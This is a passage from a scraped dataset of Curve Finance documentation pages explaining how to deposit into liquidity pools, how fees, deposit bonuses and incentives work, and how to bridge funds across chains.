token to a cToken (for Compound) or aToken (for AAVE). The option is simply there if you have already previously lent them on Compound or AAVE. If your stablecoin is in its original form, you can ignore this option. If you deposit into metapools and you have the corresponding basepool token (for example, 3Crv), you can also use the \"deposit wrapped\" option to deposit this token. What happens when you provide liquidity on Curve? When you go to the deposit page and deposit one stablecoin, it then gets split between each token in the pool. Thats something you have to keep in mind because if you were to deposit 1000 DAI in the Pool, as per the screenshot below, your balance would be roughly equal to 390.7 GUSD, 120 DAI, 119.8 USDC and 362.6 USDT. Those values change constantly as people trade and arb the price of stable coins. Does the coin I deposit matter? Besides the deposit bonus explained below, it doesnt matter. Your tokens will get split into the pool and it doesnt affect your returns so you can deposit one, some or all the coins into the pool without worrying about it affecting your returns. Understanding deposit bonuses On the screenshot above, you can see GUSD is quite low as it should make up 50% of the total pool because it's a metapool paired against 3crv. So if your plan was to join the gusd-pool, you would ideally deposit GUSD into it. As you can see on the screenshot, you would get an instant 0.0082% bonus for depositing GUSD into the pool. The main reason for this is that GUSD is currently slightly more expensive so if you went to a centralized exchange you might sell it for $1.007 instead of $1. The deposit bonus reflects that. The other reason behind this is that the pools are always trying to balance themselves and go back to equal parts (in this case 50% GUSD) so depositing the coin with the lowest share will get you a deposit bonus. But does that mean I can still withdraw in my favorite stable coin? When you withdraw, the same principle applies (but reversed). If you withdraw the stable coin with the biggest share, you would get a bonus but you still choose what stable coin you want to withdraw. How quickly does interest accrue/compound? Interests for pools using lending protocols compound every block or 15 seconds or immediately after fees are paid. Its also compounded automatically. What is arbitrage? Arbitrage is the simultaneous buying and selling of, in our case, a token to make a profit. Because cryptocurrency markets can often lack liquidity, there are often opportunities for traders to take advantage of price discrepancies to make a profit which can be helped by protocols like Curve. An example of that below: https://etherscan.io/tx/0x259b7ac1f50554fe5ddcfeea7b4fa90ad70356ddfbbd341289db0dfbf99447f9 In this transaction, someone used Curve and OasisDex and made around $200. This goes back to what was discussed earlier with liquidity pools. The idea is that is you incentivize traders to take advantage of price discrepancies which we all get rewarded for. What are incentivized pools? Liquidity pools (particularly one without an opportunity cost) are a great way to help stable coins keep their pegs. It makes easy for traders to arb (see question above) when the price slips off the peg which is very important for all the companies and foundations developing stable coins as having a $0.98 stablecoin is never a good look. As a result, some pools on Curve are incentivized. That means that on top of trading fees and lending fees, the companies will give rewards to people providing liquidity to the pools with their coins. What makes the incentives APR move? The steth pool in this screenshot earns another 2.69% of LDO per year and there are three variables that can make this change: The LDO distributed is based on the number of people staking their LP tokens, which means your share of rewards gets lower if more people start staking The price of LDO (price of LDO going up would make the yearly bonus go up) The size of weekly rewards (48,000 SNX as of today) could also be lowered as Lido reevaluates its partnership with Curve 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Overview", - "html_url": "https://resources.curve.fi/lp/depositing/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Overview Table of contents Before depositing... Choosing the right pool Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Before depositing... Choosing the right pool Home Liquidity Providers Depositing Overview Before depositing... Before depositing into a Curve pool, it is highly recommended to familiarise yourself with how Curve works, how it makes money and its basic mechanisms. You can do so by visiting the page below: Understanding Curve v1 Understanding Curve v2 Choosing the right pool Curve has many pools to choose from currently accepting stable coins and tokenised Bitcoin (Bitcoin on Ethereum). If you are not sure which pool is right for you, click the link below: Understanding Curve Pools 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding curve pools", - "html_url": "https://resources.curve.fi/lp/understanding-curve-pools/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Understanding curve pools Table of contents What are liquidity pools? Base vAPY What are Curve fees? Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents What are liquidity pools? Base vAPY What are Curve fees? Home Liquidity Providers Understanding curve pools As you should know, providing liquidity has its fair share of risks so in this article, we review the different Curve pools to help you find one that matches your risk tolerance while explaining the risks involved with being a liquidity provider on Curve. There are currently several Curve pools with new pools added all the time. Its important to understand that when you provide liquidity to a pool, no matter what coin you deposit, you essentially gain exposure to all the coins in the pool which means you want to find a pool with coins you are comfortable holding. Before we continue, we assume you have familiarized yourself with the basics of Curve: Understanding Curve v1 All Curve liquidity gauges receive CRV based on how much the DAO allocates to it. What are liquidity pools? If you are new to Ethereum or DeFi, liquidity pools are a seemingly complicated concept to understand. Liquidity pools are pools of tokens that sit in smart contracts. If you were to create a pool of DAI and USDC where 1 DAI = 1 USDC. You would have the same amount of tokens, lets say 1,000 tokens (1,000 DAI and 1,000 USDC) in the pool. If trader 1 comes and exchange 100 DAI for 100 USDC, you would then have 1,100 DAI and 900 USDC in the pool so the price would tilt slightly lower for USDC to encourage another trader to exchange USDC for DAI and average the pool back. You can see those details for each pool and it is something you can take advantage of when depositing. On the screenshot above for the TriCrypto v2 Pool , the three volatilely priced tokens are held in proportions similar to their price. If the coins are out of proportion traders are incentivized to take advantage of the arbitrage, which will push the balances in the pool back towards proportion Base vAPY To understand what the different pools do, its also important to understand how Curve makes money for liquidity providers. Curve interests come from trading fees. Every time someone uses Curve to exchange tokens, through the Curve website, 1inch, Paraswap or another dex aggregator, a small fee is distributed to liquidity providers. This is why base vAPY increases with volume on Curve. Some pools (Compound, PAX, Y, BUSD) also earn interest from lending protocols. Behind the scenes, those four pools also use lending protocols (like Compound or AAVE) to help generate more interest for liquidity providers. Whilst it means those pools can be better performers when lending rates are high, its also worth noting it also adds more layers of risks. All pools earn interest from trading fees. Some pools also earn interest from lending and there are also some pools with incentives. You can also receive CRV when you provide liquidity on Curve Finance. Each liquidity gauge receives a different amount of CRV based on how much the DAO allocates to it. Every time someone makes a trade on Curve.fi, liquidity providers (people who have deposited funds onto Curve) get a small fee split evenly between all providers, this is why you will see high vAPYs on days with high volume and high volatility. Its important to note that because fees are dependent on volume, daily vAPYs can often be quite low just like they can be very high. What are Curve fees? Swap fees are typically around 0.04% which is thought to be the most efficient when exchange stable coins on Ethereum. Deposit and withdrawals have fees between 0% and 0.02% depending if depositing and withdrawing in imbalance or not. If fees were 0%, users could, for example, deposit in USDC and withdraw in USDT for free. Balanced deposits or withdrawals are free. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Despositing into a cryptoswap-pool", - "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-cryptoswap-pool/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a cryptoswap-pool Table of contents Depositing into the pool Confirming and staking Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Depositing into the pool Confirming and staking Home Liquidity Providers Depositing Despositing into a cryptoswap-pool Cryptoswap pools contain two volatile assets and are designed to offer deep liquidity for a wide variety of assets with different levels of volatility. Learn more about v2 pools For instance, the CVX/ETH pool is used in the examples below. Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/cvxeth/deposit ). You will need at least one of the two tokens in the pool to deposit. CVX/ETH-pool consists of CVX and ETH. First, it's important to understand that you don't have to deposit both coins, you can deposit one or both of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small positive price impact. Since crypto pools have a rebalancing mechanism, the balances of the pool should be relatively equal. Second, once you deposit one coin, it gets split over the two different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit both coins in the same proportion they currently are in the pool, resulting in no price impact. The second checkbox (Deposit Wrapped) allows users to deposit wrapped ETH (wETH) instead of plain ETH. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will deposit your into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Despositing into a metapool", - "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-metapool/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into a metapool Table of contents Depositing Confirming and staking Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Depositing Confirming and staking Home Liquidity Providers Depositing Despositing into a metapool Metapools is a new concept to Curve Finance, it allows a single coin to be pooled with all the coins in another (base) pool without diluting its liquidity. Currently, the most common base pool is the 3Pool. It uses the three most liquid stable coins (USDT-USDC-DAI). Base & MetaPools Depositing Metapools offer several options for deposits. For example, in the GUSD/3Pool Metapool you can deposit the following: GUSD Any of the 3Pool (DAI-USDC-USDT) 3Pool LP token (3crv) When becoming a liquidity provider, you don't have to deposit all the coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the four different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool, resulting in no slippage occurrence. The deposit wrapped option lets you deposit the base pool token (usually 3Pool). When depositing coins into a metapool, and thus having exposure to a base pool token (e.g., 3CRV) and its paired token, you will earn at the rate of the metapool gauge. However, you'll receive trading fees from both the base and metapool. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Despositing into a tricrypto-pool", - "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-tricrypto-pool/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Despositing into a tricrypto-pool Table of contents Depositing into the pool Confirming and staking Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Depositing into the pool Confirming and staking Home Liquidity Providers Depositing Despositing into a tricrypto-pool Tricrypto pools contain three volatile assets. Learn more about v2 pools For instance, the TriCRV pool is used in the examples below. Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/factory-tricrypto-4/deposit ). You will need at least one of the three tokens in the pool to deposit. The TriCRV pool consists of CRV, crvUSD, and ETH. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small positive price impact. Since crypto pools have a rebalancing mechanism, the balances of the pool should be relatively equal. Second, once you deposit one coin, it gets split over the three different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all three coins in the same proportion they currently are in the pool, resulting in no price impact. The second checkbox (Deposit Wrapped) allows users to deposit wrapped ETH instead of plain ETH. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will deposit your into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Despositing into the susd-pool", - "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-the-susd-pool/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into the susd-pool Table of contents Depositing into the pool Confirming and staking Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Depositing into the pool Confirming and staking Home Liquidity Providers Depositing Despositing into the susd-pool If youre wanting to figure out Curve, please read the starter guide . After reading this, you should have an understanding of how Curve works, how it makes money for liquidity providers and its risks which is ideally what you want before providing liquidity. Understanding Curve v1 Curve Finance sUSD pool has quickly become the biggest pool thanks to its SNX incentives which guarantee continuous returns to liquidity providers. The sUSD pool was born out of a partnership between Curve and Synthetix who sought to help bring stability to their stablecoin sUSD. The pool is not a lending pool which means your main APY only comes from trading fees. The pool has sUSD, DAI, USDC and USDT. Unlike Y pool, the sUSD pool is quite cheap to deposit in making it a good choice if you want to try Curve with a small amount. The current rewards have no expiry date but can be adjusted by a vote from Synthetix governance. Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/susd/deposit ). You will need one or multiple stablecoins to deposit. The sUSD pool takes DAI, USDC, USDT and sUSD. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the four different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all four coins in the same proportion they currently are in the pool, resulting in no slippage occurrence. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stablecoins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV and SNX . This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. You can claim both those tokens from the minter gauge. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Despositing into the tri-pool", - "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-the-tri-pool/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into the tri-pool Table of contents Depositing into the pool Confirming and staking Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Depositing into the pool Confirming and staking Home Liquidity Providers Depositing Despositing into the tri-pool The Tri-Pool is a classic Curve pool and improved upon earlier offerings in many ways. Here are some of the major improvements this pool: A new rampable A parameter (like on BTC pools) which can adjust liquidity density without causing losses to the virtual price (and to LPs) Gas optimised Will be used as a base pool for meta pools (which would essentially allow some pools to seemingly trade against underlying base pools without diluting liquidity) By only having the three most liquid stable coins in crypto, this pool should grow to become the most liquid and offer the best prices This pool is expected to become the most liquid and the cheapest to interact with making it a good place to start for newcomers wanting to try Curve with small amounts of capital. Because this pool is likely to offer the best prices, it will also likely be one of the Curve pools getting the most volume. See how to deposit and stake into the 3Pool: https://www.youtube.com/watch?v=OsRrGij9Ou8 Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/3pool/deposit ). You will need one or multiple stable coins to deposit. The Tri-Pool takes DAI, USDC and USDT. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the three different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all three coins in the same proportion they currently are in the pool, resulting in no slippage occurrence. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Bridging funds", - "html_url": "https://resources.curve.fi/multichain/bridging-funds/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Bridging funds Table of contents $CRV Cross-Chain Important Bridges Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents $CRV Cross-Chain Important Bridges Home Multi-Chain Bridging funds In order to use Curve on chains other than Ethereum, you will need to bridge funds to the sidechain. Curve operates on several chains, documented here: Understanding Multichain Bridges are not operated by Curve, so Curve cannot offer support for using bridges. The following issues may affect users of bridges, so make sure to do research and exercise caution. Liquidity issues: Sometimes bridges do not have enough liquidity to process transactions. Usually the bridge will wait to refill liquidity before it permits funds getting processed. Stuck funds: Occasionally funds will get moved off one chain, but fail to appear on the new chain in a timely manner. Sometimes this gets resolved by simply waiting. In extreme cases, you should contact the support channels for the bridge in question. Hacking: Cross-chain communication can be complex, and the bridge is $CRV Cross-Chain The Curve token can be bridged across some chains, but does not always have full functionality. Staking of $CRV for veCRV must be done on Ethereum. Rewards voting for cross-chain gauges occurs on Ethereum. Important Bridges MULTICHAIN WARNING Multichain statement: https://twitter.com/MultichainOrg/status/1677180114227056641 The Multichain service stopped currently, and all bridge transactions will be stuck on the source chains. There is no confirmed resume time. Please dont use the Multichain bridging service now. Network Bridge CRV Contract Address Arbitrum https://bridge.arbitrum.io/ 0x11cDb42B0EB46D95f990BeDD4695A6e3fA034978 Base https://bridge.base.org/deposit 0x8Ee73c484A26e0A5df2Ee2a4960B789967dd0415 Optimism https://app.optimism.io/bridge 0x0994206dfE8De6Ec6920FF4D779B0d950605Fb53 Polygon https://wallet.polygon.technology/bridge/ 0x172370d5Cd63279eFa6d502DAB29171933a610AF xDai xDai Bridge: https://bridge.xdaichain.com/ 0x712b3d230F3C1c19db860d80619288b1F0BDd0Bd Omni Bridge https://omni.xdaichain.com/bridge 0x712b3d230F3C1c19db860d80619288b1F0BDd0Bd Avalanche Multichain: : https://multichain.org/ 0x47536F17F4fF30e64A96a7555826b8f9e66ec468 Fantom Multichain: : https://multichain.org/ 0x1E4F97b9f9F913c46F1632781732927B9019C68b Celo Multichain: : https://multichain.org/ 0x173fd7434B8B50dF08e3298f173487ebDB35FD14 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding multi-chain", - "html_url": "https://resources.curve.fi/multichain/understanding-multichain/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Understanding multi-chain Table of contents Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimism Polygon xDai/Gnosis Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimism Polygon xDai/Gnosis Home Multi-Chain Understanding multi-chain Curve exists across several chains, with several more planned. Curve's primary chain will always be Ethereum, but other sidechains have advantages including speed and cost. In order to use Curve on other chains, you must typically send your funds from Ethereum to the sidechain using the chain's bridge. All of Curve's active chains can be found in the \"Networks\" menu on the Curve homepage. Supported Sidechains as of 11/14/2022 Connecting your Wallet When you move to new chains, you will need to connect your wallet with the chain's 